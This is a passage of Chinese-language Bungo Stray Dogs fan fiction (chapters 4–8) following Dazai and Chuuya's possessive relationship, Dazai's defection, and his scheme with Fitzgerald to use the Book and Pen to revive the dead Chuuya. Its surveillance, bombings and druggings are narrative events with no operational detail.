中原中也很喜欢喝酒,对于部下邀请的酒局几乎是来者不拒,但他的酒量又很浅,几乎是喝一口酒就会醉,一般撑不到最后,过半就会因为酒品太差又没人按得住他,而被迫叫来太宰治来把中也送回家。
只有一次,中原中也没有一上来就捧着酒喝,反倒是端着酒杯低着头不知道在想些什么,端庄甜美的娃娃脸上尽是凝重。
宫原虽然是中原中也的部下,但他加入港口Mafia的时间久,已经结婚很多年了,家里有个女儿和中原中也差不多高,中原中也又是不显年纪的娃娃脸,相处久了,宫原就难免有些移情。
可以说港口Mafia大部分年纪大些的都或多或少对中原中也有些移情。
“中也先生,是有什么烦心事吗?”他坐到中原中也旁边,并没有靠的很近。
“啊,是宫原啊。”中原中也注视着杯中的酒,他的手很稳,酒水表面没有一点波澜,“你知道有人做梦梦到另一个人是因为什么吗?”
他的脸上满是困惑。
中原中也前几天捡到了太宰治的日记,本来没准备翻开看,只不过风吹开了封面,“最讨厌中也”那几个字写得太大。
他难得有些心虚得想:都是因为太宰治——
“唔,”宫原有些微妙地挑了下眉,“中也先生是有喜欢的人了吗?”
中原中也几乎要炸毛了,但他忍了下来:“谁会喜欢他啊!是我的一个朋友问我。”
“居然是男孩子吗?”宫原摸了摸下巴,“还以为您会更喜欢红叶大人那样的女子。”
日语中的她他是不一样的发音。
中原中也现在是有嘴也说不清了,但他还是决定要再次尝试:“不是我,是我的一个朋友,真的。”
手中的杯子不自觉地轻摇着。
“好的,是您的一个朋友。”宫原带着了然的笑容应道,“您可以继续说下去。”
中原中也无力再做辩解:真的不是他。
他面无表情:“就是晚上睡觉会梦到另一个人,穿……”
中原中也陷入了可耻的沉默,最后还是决定保护一下自己风评:“一些奇装异服。”
宫原若有所思:“您与,啊不,您的朋友与他梦到的那个人是什么关系?”
“搭档。”中原中也不假思索。
等等,这不是更糟糕了吗?
中原中也脸上显出懊恼的神情,手上摇杯子的动作更快了。
宫原脸上的笑意顿时消失了。
中原中也只有一个搭档,是隔壁最近升任干部的太宰治,港口Mafia最年轻的干部。
多智近妖,被誉为操心师。
“应该是我的错觉,毕竟,搭档什么的有时候也可能会做梦梦到。”他微笑道,“绝对不会是喜欢之类的。”
事情本该在这时候结束,但又有人凑了过来,询问他们发生什么事情了,中原中也向来平易近人,很受部下爱戴。他闻言将事情又说了一遍,并且强调那是自己的一个朋友。
那人显然也没信,还不等宫原拦下那人,他就已经心直口快地说出来了:
“是春/梦啊,中也是梦到谁了?”
中原中也:!!!
啊啊啊啊啊啊,太宰治你这个混蛋!
结束酒局后,中原中也游魂似的回到房子,太宰治正躺在沙发上看他那本《完全自杀手册》。
“中也今天居然没有喝得烂醉让主人去接,是终于意识到太麻烦主人了,要做个乖狗狗了吗?”
他放下书,专注地看着中原中也,眸子里尽是笑意。
灯光下,太宰治的脸显得越发俊美,鸢色的眸子里是中原中也此前从未发现过的明亮。
啊啊啊啊啊啊啊啊啊。
混蛋青花鱼!
5. 第 5 章
从中原中也的角度来看,他的保持距离是有迹可循的。
他总不可能真的当作什么都不知道,先不说这件事情是否符合他朴素的价值观,光是一想到太宰治晚上可能会梦到他,他就忍不住要对太宰治做些什么了。
偏偏他发现这件事情的起因又有点理亏。
中原中也就更加不能对太宰治说些什么了,他现在看见太宰治就想绕道。
不仅是因为太宰治,还因为他有点说不清道不明的羞涩。
虽然中原中也不是正常情况下长大的,但他不是真的傻子,甚至,他比太宰治更早接受自己的内心。
他可能喜欢上那个绷带浪费装置、自杀狂魔搭档了。
只不过,接受归接受,中原中也还是需要时间去思考他和太宰治以后的关系,分开一段时间是再合适不过的方式。
只是一次出差而已。
出于微妙的羞/耻,中原中也并没有第一时间告诉太宰治他要出差的消息。而时机这东西向来是瞬息万变的,一不留神,在中原中也将要出差的消息传遍港口Mafia的时候,他还没找到合适的时机去跟太宰治坦白。
等中原中也终于做好心理准备去找太宰治的时候,太宰治不知道跑哪去了。
那几天,中原中也的摩托跑遍了整个横滨,还顺路载了一个迷路的国中生,是难得的和他差不多高的孩子。
“帽子先生,你是在找人吗?”还没养成眯着眼睛习惯的名侦探扶了扶眼镜,“我可以用我的异能力帮你找哦。”
这时候的江户川乱步已经是一只家养猫咪了。
“不用了,小鬼,”中原中也不觉得太宰治的位置能被一个国中生找到,学着港口Mafia里其他人的样子叮嘱道,“好好学习,不要再迷路了。”
江户川乱步炸毛:“讨厌的帽子先生不会长高!”
中原中也:!!!
中原中也忍了忍,还是没忍住:“我还在生长期!”
讨厌的小鬼!
中原中也开着摩托满横滨乱转,黑色的帽子稳稳带着头上,橘发随风飘扬,而这一切都落在太宰治眼中。
他在中原中也身上装了三十多个窃听器监视器。
不然依照中原中也和他的熟悉程度也不会还没找到他,他坐在地下室,眼神专注地看着显示器里的中原中也。
中也为了一个不知道的人要和他保持距离,要离开他,现在中也想起他来了,他就要见中也吗?!
太宰治的眸色深沉,里面的怨气几乎要透过屏幕钻到中原中也身上去了。
这是从中原中也上次酒局里传出来的消息。
太宰治为此将中原中也的关系网从头至尾都捋了一遍,他没找到那个人。
从羊开始查,中原中也参加的每一场酒会、他和其他人说过的每一句话,太宰治都查了一遍,但他还是没有找到那个人。
要么是中原中也保护得极好,要么是谣言。
太宰治想要相信是第二个,但他不会排除第一个。
所以,他几乎拿出了在中原中也身上装窃听器的行动力来查这件事。
一遍两遍三遍。
他什么都没查出来。
这是好事。
但当他以玩笑的口吻向中原中也提起的时候,中原中也的反应又告诉他,真的有这个人。
太宰治快炸了。
他没说话,只是用一种恐怖到极致的眼神看着中原中也,偏生中原中也没看太宰治,一心看着手里的杯子,好像那是什么稀世珍宝。
中原中也当然不会没感觉到太宰治的眼神,只不过他还没想好用什么样的态度对他,只能先逃避。
太宰治要气笑了。
没脑子的小狗果然是有什么事情瞒着主人。
小狗不听话,需要主人好好调教一顿。
“太宰,我想换个choker。”中原中也手上扯了扯脖子上纯黑色的choker,黑色的皮质手套黑色的choker和白皙的脖颈红色的勒痕形成了强烈的色彩对比,他纯然的蓝眸看着太宰治。
他嫌弃地扯着choker。
这是他十六岁和太宰治打游戏打赌输了赌约,他要一直戴着刻着太宰治名字的choker,而且一定要是太宰治买的。
太宰治当时是这么说的:“小狗就是要戴着主人买的狗牌,不然就会招来那些不长眼的偷狗贼来偷狗。”
那时候的中原中也去参加酒会的时候总是有很多人来灌他酒,他虽然不会喝,但一个个拒绝总是很麻烦的,不过自从他戴上太宰治准备的choker,来的人就少了不少。
再后来,就没人来找他了。
不用想也知道是太宰治做了些什么。
中原中也提起这件事,就是为了哄人。
总不能真让太宰治炸了。
太宰治自然接收到了中原中也的示弱求和,他反唇相讥:“狗狗现在知道找主人了吗?”
但这种程度的攻击对中原中也来说根本不痛不痒,他挑了挑眉:“买不买?”
橘发少年的眸子里盈满了笑意。
中也真是太讨厌了。
太宰治磨了磨牙,几乎想要不管不顾地咬上去,将他欺负地快要哭出来,但他没有。
“买。”太宰治咬牙切齿。
不过很快还有让他更加生气的事情:
中原中也要去国外出差,是中原中也主动向森先生提出的,而他甚至是在森先生那里知道的。
森先生装模作样告诉他这件事情的时候说了一大堆废话,太宰治一句话都没听进去,只觉得森先生好吵。
离开首领办公室后,太宰治没有去找中原中也,他在等中也主动来找他。
但,中也没有。
中也为什么不再努力一点,再努力一点就能找到主人了。
狗狗不就是应该不管主人到哪里都跟着主人吗?
太宰治恨恨地想:
中也甚至连告别都没有。
中原中也的远离,几乎明明白白告诉太宰治一件事情:
狗狗为了一个根本、完全、连中也是个什么样的人都不知道的人,要离开主人了。
哈,真好笑。
一声不吭就决定了要出差,甚至都没有跟主人商量过。
是中也想要其他搭档了吗?
太宰治已经炸了。
他每天都阴沉着脸好像马上就要炸了首领办公室,或者暗杀森鸥外,从而成为新任首领让中原
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中也一直跟着他身边寸步不离,但很可惜救火队唯一成员中原中也出差去了,甚至他还是火灾起源。
这场火在中原中也回来前会一直烧着。
港口Mafia的人那几天只好都绕着太宰治走,八百米开外就准备跑了,每天都祈祷着中原先生快点回来,他们真的快顶不住了。
那段时间,港口Mafia的行动效率极高,生怕被太宰干部发现什么错处,尤其是文员的身体素质直线提升。
可能是港口Mafia人的心意感动了上苍,没等到中原中也回来,他们就不用再继续接受太宰治的摧残了。
因为太宰治叛逃了。
他们没人知道太宰治叛逃的原因。
中原中也出差回来后因为他与太宰治搭档的身份,刚下飞机就被带去了审讯室,日日夜夜的讯问。
他并没有受什么苦,只是几个问题来来回回反复询问。
大概半个月后,他被放了出来。
中原中也揉着眉心,眼下一片青黑,身侧站着的尾崎红叶拍着他的肩膀:“好了,中也你先回去休息几天,这几天真是辛苦你了。”
“红叶大姐,那我就先回去了。”中原中也想扯出一个笑,只是他太累了。
事情发生得太多了,中原中也难得感到疲倦,尾崎红叶没再多说什么,安抚性地摸了摸他蔫哒哒的头发。
“中也,注意安全。”
她说。
中原中也愣了愣,有些难过又有点高兴:“我知道了,大姐。”
港口Mafia叛逃人员太宰治在预备干部中原中也的车上装了炸弹,在中原中也回家途中引爆,好在无人伤亡。
此后,中原中也的嫌疑彻底洗清。
中原中也只是很心疼他特地飞欧洲给太宰治做的十九岁生日礼物。
一块怀表。
既不好看,也不值钱。
本来中原中也是准备从那位表匠大师处买的,只不过看了几块表都不够合他心意。
大师多多少少都有些脾气,但那位脾气居然还不错,看中原中也都不太满意,提议道:“您要不要试着自己做一块?或许会更合心意。”
他喝着特意为了庆祝太宰治离开的柏图斯,醉醺醺地对着太宰治那本日记痛骂,日记本也是那时候差点碎的。
事后,他头疼地对着将要破碎的日记本,硬着头皮粘。
好在页数不多,花费的功夫也少。
中原中也皱着眉头碎碎念:“这玩意就是太宰治故意写来捉弄我的吧?”
不然怎么这么多他的名字?
还跑得这么及时,再晚几天……
中原中也的视线落到手中日记本上,打了个哈欠,浓密的睫毛掩下渗出的湿意。
他将日记本随手搁回暗格中。
“混蛋太宰,你喜欢我吗?”
日记本的最后一页这样写着。
“乱步先生说的没错,我确实是个胆小鬼笨蛋。”太宰治低低地笑起来,眸子像是将将要沉没的冰山。
中也会问出这个问题,本就是一种倾向。
居然被没脑子的小蛞蝓给骗过去了。
他分明在笑着,眼里却没有一丝笑意,像是要碎掉的瓷娃娃。
6. 第 6 章
“不许动。”玫红色头发的女孩双腿夹着白色西装男人的脖子,手掐着男人的下颌,表面纤弱的身体里蕴含着强悍的力量。
只要她轻轻一扭,男人就会命丧于此。
“我没有恶意,”太宰治双手举起,说出的话轻飘飘的落到女孩耳中却重极了,“我知道你的队员在哪里。”
她是猎犬的副队长大仓烨子,十二岁。
猎犬是军警特殊镇压部队中的最强特种部队,只有五人,是从全国中选出来的最为优异的五人,他们是政/府的底牌,只要有他们在,政/府就无所惧怕。
在天人五衰事件前是这样的。
自从猎犬队长——福地樱痴被认定为天人五衰的首领神威后,猎犬在政/府中的信誉就消失殆尽了,剩下的四人不再是英雄。政/府猜忌他们,防备他们,使用他们。
毕竟是最强特种部队。
不管是什么,他们都会完成。
为了更好的掌控他们,政/府的人只会给他们最低限度的食物和水源,只保证不会饿死。
多好用的刀,以前放在福地手上真是可惜了。
政/府高官这么遗憾着,同时让人对剩下四人严加看管。
现在的猎犬依旧是猎犬,只是是政府/高层的猎犬。
军警二字一个也沾不上。
大仓烨子的手微微颤抖,政府送来的饭菜中含有一定的肌肉松弛药物。她只有一次机会,出于谨慎,她已经两天没有进食了。
大仓烨子表面上极为冷静:“敢骗我我会杀了你。”
胃部强烈的灼烧感折磨着大仓烨子,她脸色苍白眼中却满是狠厉。
她不会对普通民众动手,但太宰治不是。
一个洗白上岸的黑手党。
对他动手大仓烨子没什么愧疚感。
“请往这边来。”太宰治微笑道。
大仓烨子并没有注意到一件事:这里是政府专门研究出来可以抑制异能力者异能力的监狱,为什么太宰治会出现在这里,如入无人之境。
太宰治没有故意带错路,大仓烨子在太宰治停下来后看见了已经等待着的剩下三人,但她没有下来,依旧保持着随时可以杀死太宰治的姿势。
“你到底想要做些什么?”
“我对你们没有恶意。”太宰治的语调轻松惬意,就好像现在他的性命不在大仓烨子手上,又或许他本就不在意自己的性命,像一个以自己性命做赌注的赌徒,“我只是想要你们帮我做一件事情。”
“作为交换,我可以帮你们逃出去,活在阳光下。”
他跟政/府高层勾结。
几乎不用思考,条野采菊就能得出这个结论,他看向大仓烨子,手指微微颤动。
他是猎犬中唯一的脑力派。
大仓烨子接收到条野采菊的信息时并没有过多的惊诧,她这一路上都没有看到狱警,就好像这座监狱已经被废弃了一样。
这其实已经很能说明问题了。
“你的性命还在我手上。”大仓烨子没有顺着太宰治的话走,而是继续威胁。
“你有没有觉得有点晕?”太宰治换了个话题,但他的言下之意再明晰不过。
他做了手脚。
大仓烨子立马反应过来,就要扭断太宰治的脖子了,但正如太宰治所说她很晕,身体软绵绵的使不上一点力气。
她栽倒下来。
太宰治将她捞起,袖子中的刀片架在大仓烨子脖子上,划出一道血痕。
“这是我的人质。”
“这是交易,你们完成交易后,我会放你们离开,如果不的话,我会让你们都死在这里。”
作为侦探社社员的伪装终于褪去,显露出的是太宰治。
他从来不是什么好人,挡他路者,都请去死。
鸢色的眸子里没有疯狂,只有死水般的沉寂,仿佛下一瞬能将人吸进去,溺死其中。
疯子从来都不是最可怕的,可怕的是理智的人发疯。
尤其是这个人还是太宰治。
“现在,给出你们的答案。”他问道。
猎犬三人组脸色铁青,都保持着随时战斗的姿势,注意力高度集中。
没有一个人说话。
他们对峙着。
最后还是猎犬中的立原道造先忍不住开口问道:“你想要我们做些什么?”
先前太宰治只说是要他们去做事,并没有说要做些什么。
“你们知道吗?中也死了。”太宰治没有说他要做什么,只是先放了一个炸弹出来,将在场清醒的人都炸了个遍。
猎犬中人在大决战前就已经被神人吸收,刚醒来就被政/府关押起来,平时在监狱里也不会有人闲得没事去跟他们专门说这些事情,出任务时就更不用说了。
他们都不是傻子,很轻易就能猜出中原中也是为什么而死的。
他们都没说话,脸上蒙上了一层肃穆。
“我想让你们查清楚这件事情的涉案人员。”太宰治叹息,“魔人已死,但参与进来的绝对不止有魔人,那些人还好好活着,高官厚禄,富贵满身。”
他的话像是恶魔的低语,每一句都在诱惑他们成为这个人的共犯。
猎犬是军警,他们保护的是普通民众,而不是那些尸位素餐的高官。
“那你为什么不让侦探社去调查?”问出这句话的人是末广铁肠,他是猎犬中绝对战力,搭档又是条野采菊,几乎不需要用到脑子,做事全凭借直觉。
这句话也不例外。
他只是单纯的困惑。
太宰治也没想到会有人这么问他,他平静道:“我和一个人做了交易,他想要我救下你们。”
他的眼睛冷淡至极,像是想到了什么令人厌恶的东西,整个人都笼罩着危险,不是平时想到中原中也的那种厌恶,那时候太宰治的眼里是笑意,脸上、嘴角、手上、头发丝,都好像喝了假酒一样,张牙舞爪地要告诉所有人——他心情很好。
而现在,他恨不得把自己脑子打回过去重造一遍。
“中也是你什么人?”还是末广铁肠,条野采菊并没有阻止他继续说话,“你的搭档不是……国木田独步吗?”
末广铁肠想了一下,终于在记忆角落把人的
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名字扒拉出来。
“国木田是我前同事。”太宰治避开关于中原中也的问题。
末广铁肠迟疑了许久:“节哀。”
太宰治看了末广铁肠一眼,什么也没说。
“决定好了吗?”他没耐心陪他们在这里继续了。
他们其实没有别的选择,就像中原中也说的:每当太宰治这么问,就代表着他没有别的选择了。
当时太宰治没有纠正中原中也,他一直都有给中也选择的余地,只不过是中也每次都放弃了任性的权利而已。
“最后一个问题,”条野采菊道,“作出请求的人是队长吗?”
太宰治漠然:“是。”
“那么,我们会去查的。”条野采菊顿了顿,“现在可以把副队长放了吗?”
太宰治对待女士还是十分绅士的,将昏迷着的大仓烨子横抱着递给立原道造,而不是直接扔过去,一同递过去的还有一份地图。
“这是这座监狱的地图,事情有进展后可以去这个地方找我。”太宰治报了一串地址,“我会给你们批活动资金,只要你们能够把东西交给我。”
交代完事情后,太宰治没有继续留在这座政/府建造的监狱中,也没有回中也的别墅,而是折去了横滨郊区,那里关押着一级战犯——福地樱痴。
如果太宰治没有救走福地樱痴,他现在应该会在钟塔侍从手中变成一个道具,或者实验体。
不过太宰治也不准备让他活下来,这件事福地樱痴知道。
他本就是甘心赴死,如今不过是多活了一段时间。
“等过几天组合的人过来,你就可以去死了。”太宰治站在高处,俯视着满身颓丧的福地樱痴。
福地樱痴手上脚上都是镣铐,这是异能造物可以抑制异能,能解除的只有钥匙和太宰治,只不过钥匙已经毁了,太宰治也没准备让他提前恢复自由。
“我知道。”福地樱痴叹了口气,问道,“烨子怎么样?”
“活着。”太宰治没有过多地描述。
“活着就好,其他人都还好吗?”福地樱痴继续问。
“活着。”太宰治垂下眼眸,满眼都是厌恶。
“辛苦你了,太宰君。”福地樱痴哈哈大笑起来,笑着笑着眼泪涌了出来。
太宰治冷眼看着他,等福地樱痴没有别的想要问的了,他转身离开。
如果不是后面的计划需要用到福地樱痴,他会开心地将福地樱痴送到钟塔侍从手里,确保他一定会好好的被折磨。
而不是还要面对这张帮凶的脸。
“太宰君,不要沉浸在过去,要向前看。”福地樱痴劝诫道。
太宰治几欲作呕。
哈,凶手来劝受害者家属放下?
主人放下了,小狗怎么办?小狗那么笨,被欺负了也不会跟主人说,他养了七年的狗,他一辈子的狗就这么死掉了。
他都没让人给小狗陪葬。
太宰治穿着白色西装,站在阳光之下,直视着太阳。
他们凭什么踩在我的太阳身上,迎接新生?
那是太阳。
7. 第 7 章
太宰治漫步在街道上,同形形色色的人擦肩而过,就好像这个世界的异类,行走在世间,没有牵挂。
但他被一个小孩撞到了,一下子就被撞回了人间。
小孩的衣服算不上多精致,也算不上干净,纯白的衣服上沾满了灰尘,还有几个手掌的印记,脸上也鼻青脸肿的。
孤儿院的人?是被霸凌了?不,应该是附近的帮派,手掌的大小不对。
那小孩撞了太宰治匆忙道了一句抱歉就急着要跑,但很可惜被人拦住了,拦住他的人张着一张让人无法轻易忘却的脸,小孩只呆愣了一瞬就继续挣扎起来。
“放开我,有人在追我。”小孩的眼睛都红了。
“是那些人吗?”太宰治指了指已经被人压住的一群人。
他第一眼就注意到了那群人,同样注意到那些人的还有森先生派来保护他的人。
那些人大半是他曾经的部下,知道这个上司有多难搞,跟得上就保护,跟不上就维持一下横滨的秩序。
这段时间横滨并不安定,可能是因为港口Mafia的重力使死去的消息公之于众,横滨各种各样的势力蠢蠢欲动,想要将港口Mafia拉下来,因此横滨街道上时常出现□□火拼。
三刻构想中的黑夜掌控力下降,剩下两个白天与黄昏又没有支撑黑夜的实力。
现在的横滨还没乱到龙头战争那种地步,但要是再这样下去,那就不一定了。
“谢谢您。”小孩朝太宰治鞠了一躬,脸上显出犹疑的神色。
太宰治没什么耐心,见状就准备直接离开,他后面那群人会把小孩送回去的。
“那、那个,您有没有见过一个橘头发蓝眼睛的哥哥?”小孩抓住太宰治的衣角,神情慌乱。
太宰治也的确停下了脚步,他原本还算温和的眸子瞬间冷了下来,脸上虽还挂着笑,但人怎么看怎么瘆得慌:“见过啊,你找他有什么事吗?”
他微笑着看向小孩。
小孩压下自己内心不知名的慌乱,结结巴巴道:“那个哥哥一起经常过来给我们送糖果,最近没有来,我们很担心他。”
太宰治微挑了挑眉:“是这样啊,可以带我去看看吗?”
他脸上的笑容多了几分真心实意。
太宰治跟着小孩走的时候,一个怨种被放了鸽子。
怨·前北美异能组织首领·菲茨杰拉德·种:……
他叹了一口气,想起他和太宰治达成同盟的始末。
“你来找我是为了什么?”作为前北美异能组织“组合”的首领菲茨杰拉德双手交叉握在胸前,面前是一个黑发俊美青年,鸢色的眸子平静无波。
这个青年是曾经在暗中摧毁他作战计划的人,上次见面时他们勉强算是半个同盟,现在天人五衰事件已经结束了,他暂时想不到青年来找他的原因。
钱?权?色?
都不像。
菲茨杰拉德好整以暇地看着青年,举手投足间却带了他自己都没发觉的焦虑。
他翘着二郎腿,不自然地轻轻抖动着。
“我想与您做一个交易。”太宰治直视着菲茨杰拉德的眼睛,像是为了展示诚意,他继续说道,“我知道【书】在哪里。”
饶是菲茨杰拉德久经风浪,也没忍住被这个消息砸了个头昏脑涨。
他的女儿死了,妻子泽尔达因为无法接受女儿去世的消息为自己编织了一个美梦,他的职责就是让这份美梦成真。
为此他可以付出一切。
但这件事情不是只要付出就能得到收获的,这是起死回生,是违背自然规律的。
只有【书】可以,【书】能改变世界。
在天人五衰事件中,侦探社就是因为【书】才落得那般狼狈,差点团灭。
那时候的侦探社几乎成为了一座孤岛。
“你想从我这里得到什么?”菲茨杰拉德呼吸急促了一下很快就平静了下来,他的神情严肃下来,金色的眸子深处依旧是防备,只不过多了几分狂热。
“我想要复活中也。”太宰治的语调微微上扬着,语气里是满满的期待,脸上的表情却漠然极了。
没有一丝一毫对生命的敬畏。
菲茨杰拉德微微皱了皱眉,没有表现出明确的态度:“那么,我能知道为什么吗?”
“当然可以。”太宰治笑起来,“因为我想要所有人只要提起我就会想到中也,提起中也就会想到我。不管我怎么做,只要中也死掉了,所有人就会慢慢遗忘掉,只要我打出要复活中也的旗号大搞破坏,中也就算死掉也没事了。”
“在所有人眼里,他和我只会是共犯。”
太宰治脸上浮现出一抹堪称沉醉的笑容。
现在的他更接近于十五六岁还没完全学会伪装的时候,空洞的内心被披在外面,心里阴暗的不可言说的恶意随着绳子的断掉张牙舞爪地蔓延出来。
“……”
菲茨杰拉德很久没有见过这么变态的人了,他有种想要报警的冲动,但他按了下来,他清了清嗓子:
“那么,你说你知道【书】的所在是真的吗?”
“在异能特务科地下。”太宰治轻快地报出了一串地址,“不过,我们的时间有限,你最好提前准备好逻辑完整的故事,不然书是不会承认你在上面写下的东西的。”
“毕竟,【书】是世界级的嘛。”
太宰治的话轻飘飘的。
因为是世界级,所以看守极为严密,所以时间紧迫。
如果时间不够怎么办?如果出了什么意外怎么办?
菲茨杰拉德思考着有什么异能道具能在这时候用上,作为备用方案。
“那么,我就先走了。”太宰治施施然起身,脸上的笑容依旧虚情假意。
— —
等太宰治到达的时候,菲茨杰拉德已经百无聊赖了。
“是在等我吗?”太宰治慢悠悠地走了过去,看着并不着急。
菲茨杰拉德看了一眼手表,已经十二点了。
“太宰君,你迟到了一个小时。”
他敲了敲手表。
他见过的霓虹人都十分守时,甚至有过提前一两个小时到达的,但他还从没见过迟到一个小时的,是对之前让他等了十分钟的报复吗?
菲茨杰拉德思忖着。
“没关系,现在还来得及。”太宰治从口袋中掏出一个小型遥控器。
菲茨杰拉德茫然地
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看了一眼太宰治,又看了眼遥控器。
太宰治并不打算钓菲茨杰拉德胃口,他弯起眸子:“是炸弹,只要轻轻一按,就能把这里炸上天。”
口吻轻松愉悦,像是在推销什么老年保健品一样,某种意义上也不能算错。
菲茨杰拉德:……
“如果你想的话。”他沉默了一瞬,“记得先把地图给我。”
他的异能是华丽的菲茨杰拉德,可以通过花费财产强化他的身体,炸弹并不能把他炸死,但太宰治就不一定了。
“既然如此,我就炸了。”太宰治眨了眨眼,在开口说话前就按下了按钮,随之而来的是剧烈的震感。
他们在异能特务科下面,上面的爆炸对他们的影响并不小,更何况这里的土层并不坚固,横滨是座港口城市,土质偏湿软,异能特务科下面的通道还坚/挺着实在是不容易。
“上面没人了。”菲茨杰拉德凝神听了听,“我们可以上去了,等等,你看我做什么?”
“因为这个地道十分隐秘,我不想把它这么早就暴露出来。”太宰治的脸上露出一个近乎纯然的笑容,“我把炸弹都堆在上面了。”
菲茨杰拉德木然地一下一下锤着通道顶部,为他们砸开一条通道。
第一拳下去的时候菲茨杰拉德就感受到手感的不同,硬度不对,他们上面不是土层,是金属板,甚至距离他们不远,大概也就五六十公分,而这个地道离异能特务科至少还有三四米的距离。
菲茨杰拉德没忍住看了一眼太宰治。
“嗯?”太宰治歪了歪头,“继续砸。”
他眉眼不动,像是早就知道异能特务科地下的猫腻。
菲茨杰拉德眉毛下压了一瞬,随后就恢复如初:“说起来,太宰君你知道【笔】吗?”
“知道哦。”太宰治的语气轻快,“是可以更改所有书上的内容的道具,我也想过要找,但实在太麻烦了,就算了。”
【笔】是一个十分鸡肋的道具,虽然可以更改书上的内容,但并不会修改人关于书的相关记忆。
属于没什么实际性用处的道具。
“是因为什么?”菲茨杰拉德状似不经意地继续问道。
“是因为一件很简单的事情哦。”太宰治愉快地解释道,“我有一本很讨厌的书,但我很不喜欢那本书上的情节,恶心得要吐出来了,为了改掉它,我几乎可以做任何事情哦。”
“是什么情节?”菲茨杰拉德手上动作不停,眼角余光却时刻注意着太宰治。
“是一条狗狗死掉了。”太宰治叹息着,“那本书里我最讨厌的就是那条狗了,为了看见那条狗的结局,我可以忍受作者写出来的稀烂文字,但作者把那条狗写死了。”
“我真的太生气了,狗狗那么容易就死掉,我之前看书的时候那么多咬牙切齿算什么呢?那么讨厌的狗狗就应该活在这个令人作呕的世界,那么轻易就死掉了,岂不是一点痛苦都没有了吗?”
太宰治说的时候眉毛都没有动一下,神色懒散,就好像说的是别人一样。
“但要是为了那条狗狗而专门去找异能道具那岂不是显得我太看重那条狗狗了吗?所以绝对不要。”
太宰治微笑着。
8. 第 8 章
太宰治和菲茨杰拉德上去之后的路程非常顺利,太宰治是一个很好的领路人,他能够精准地抓住每一个时机,他们一路上几乎没有正面碰到过警卫。
“就是这里了吗?”菲茨杰拉德看着紧闭的厚重金属门,眉毛微挑。
异能特务科地下是一座金属做成的监牢,他们路过的时候见过不少被关起来的人,而且在这里,他隐隐感觉到自己的异能被压制着。
目前并不清楚是【书】的原因还是因为这些金属。
“对哦。”太宰治点头。
这里罕见的没有警卫,不知道是因为他们对这扇门的防护太过自信还是因为天人事件的教训没有给够。
太宰治站在门前,没有半分遮掩,甚至还有心情朝监控打了个招呼。
“我只是路过,犯人是这位金发先生,我只是一个无辜市民。”
菲茨杰拉德额角的青筋跳起,假笑:“我与这位太宰先生是一块过来的同伙,如果有什么事情,那么他也脱不了干系。”
“哎呀,不要拆台嘛。”太宰治语带调侃,双手插在口袋中,微长的头发掩住眉眼,看不清眸子的神色。
“不过,这里的监控已经被我掌控了,所以菲茨杰拉德先生你随便说都没关系的。”
菲茨杰拉德:……
“门怎么开?”他被噎了一下,只当自己没听见太宰治的话,开始问正事。
这扇门并没有看见钥匙孔和感应装置,门身又是由厚重的金属制成的,要是想要进去看起来只能强拆了。
太宰治没有说话,径直走到门口前,手掌按在门上。
原本沉寂着的门像被人唤醒了一样,红色的光慢慢从门上亮起,照亮了整个走廊。
门开了。
“是这样开的。”太宰治笑眯眯。
菲茨杰拉德:……
太宰治没有管身后的菲茨杰拉德的想法,走了进去,脚步轻快,一点也没有自己正在做“坏事”的自觉。
等菲茨杰拉德走进去,门也关上了。
他回头望了望这扇门,他进来之后,门口的红光也在慢慢熄灭。
这是一个极为空旷的房间,除了房间中央放置的【书】和放置【书】的平台,里面什么都没有。
【书】静静悬浮在平台之上,等待着人来使用它。
“这就是【书】。”说话的人是太宰治,他目光幽微。
【书】的周围没有任何防护,或者说这一路来对【书】的防护都简陋得不行,完全不像是一个世界级异能道具该有的规格。
像是一个甜美的陷阱,引诱着人前去。
菲茨杰拉德的目光并没有在【书】上停留很久,很快就收了回去,余光扫向了太宰治。
“【书】写下的是未来,而您的女儿死在过去。”出发前战术师的声音响在他的耳畔,“您和太宰君只有一个人能够实现愿望,因为你们要改变的都是过去。”
“如果您和太宰君都更改了【书】上的记录,其中引发的蝴蝶效应可能会颠覆整个世界。”
“出于我个人的建议,就让中原中也先生安睡下去吧。”
菲茨杰拉德要是想要利用【书】来复活他的女儿,他就需要在【书】上找到女儿的死亡记录,修正它。
太宰治的声音打断了菲茨杰拉德的思绪。
“【书】上记录着世界上所有的事情,过去、现在还有未来。”太宰治平静道,“如果你只想要你的妻子康复,你可以试试,已经有一个成功的先例了,不是吗?”
太宰治笑看着菲茨杰拉德,眼里却没有半分笑意。
菲茨杰拉德的心结不在女儿的死亡身上,而在他的妻子泽尔达。
他已经走出了女儿离世的阴影上,但他的妻子没有,于是,为了让他的妻子康复,他来到了横滨,寻找【书】来让他的女儿复活。
多么感人啊。
就这么轻易地将女儿抛在身后,将他的妻子也抛在身后。
多么傲慢啊。
太宰治几乎是带着盎然的兴致等待着菲茨杰拉德的答案。
已知的代价比未知的代价好太多了不是吗?
对人类而言未知才是最恐怖的。
“不。”菲茨杰拉德摇头,他的身体先于他的头脑为他做了决定,他说,“那是我的愿望,不是泽尔达的。”
他要实现的是泽尔达的愿望。
太宰治指尖微颤,脸上有些遗憾,他感慨着:“真是感人啊。”
面上感慨着,太宰治的姿态却没有退让的架势,甚至更为强硬了,他主动走近到菲茨杰拉德身边。
菲茨杰拉德从腰间摸出一把枪来,枪口对准太宰治。
热武器有时候会比异能要方便太多了。
比如这种情况。
“这也太犯规了吧。”太宰治脸上显出几分慌乱,只不过夸张得有点过分了,他愤愤指责道,“居然带枪。”
说着,他也从怀中掏出一把枪出来。
菲茨杰拉德嘴角微抽,没说话。
扣动扳机。
下一瞬。
“砰——”
太宰治歪了歪头,正好避开这一枪,他缓步走到菲茨杰拉德面前,鸢色的眸子看向菲茨杰拉德,无悲无喜。
方才的声音不仅是枪响,还有菲茨杰拉德倒下来的声音。
麻木感从心脏开始蔓延,手臂、手指,而后是全身。
是在地道的时候。
菲茨杰拉德反应过来,但很可惜已经晚了,他的头脑慢慢昏沉起来,直到再也抬不起手指。
太宰治脸上表情淡了下来,近乎冷酷,他说:
“辛苦你了,只不过接下来没有你的戏份了。”
太宰治从菲茨杰拉德口袋中摸出【笔】来,他的手上缠满绷带,是为了不触发人间失格。
他的心情晴朗起来。
接下来的事情很简单了,只要将中也的死亡改成存活就够了,很快就可以见到中也了。
太宰治只要一想到中也发现自己留下遗书然后发现自己没有死就觉得滑稽得不得了。
中也脸上会露出怎样的表情呢?劫后余生?要是中也发现他看到遗书上的内容,会不会羞愤欲死呢?
是足够他笑一百年的笑料啊,等中也活过来,他一定要拍下来他的表情。
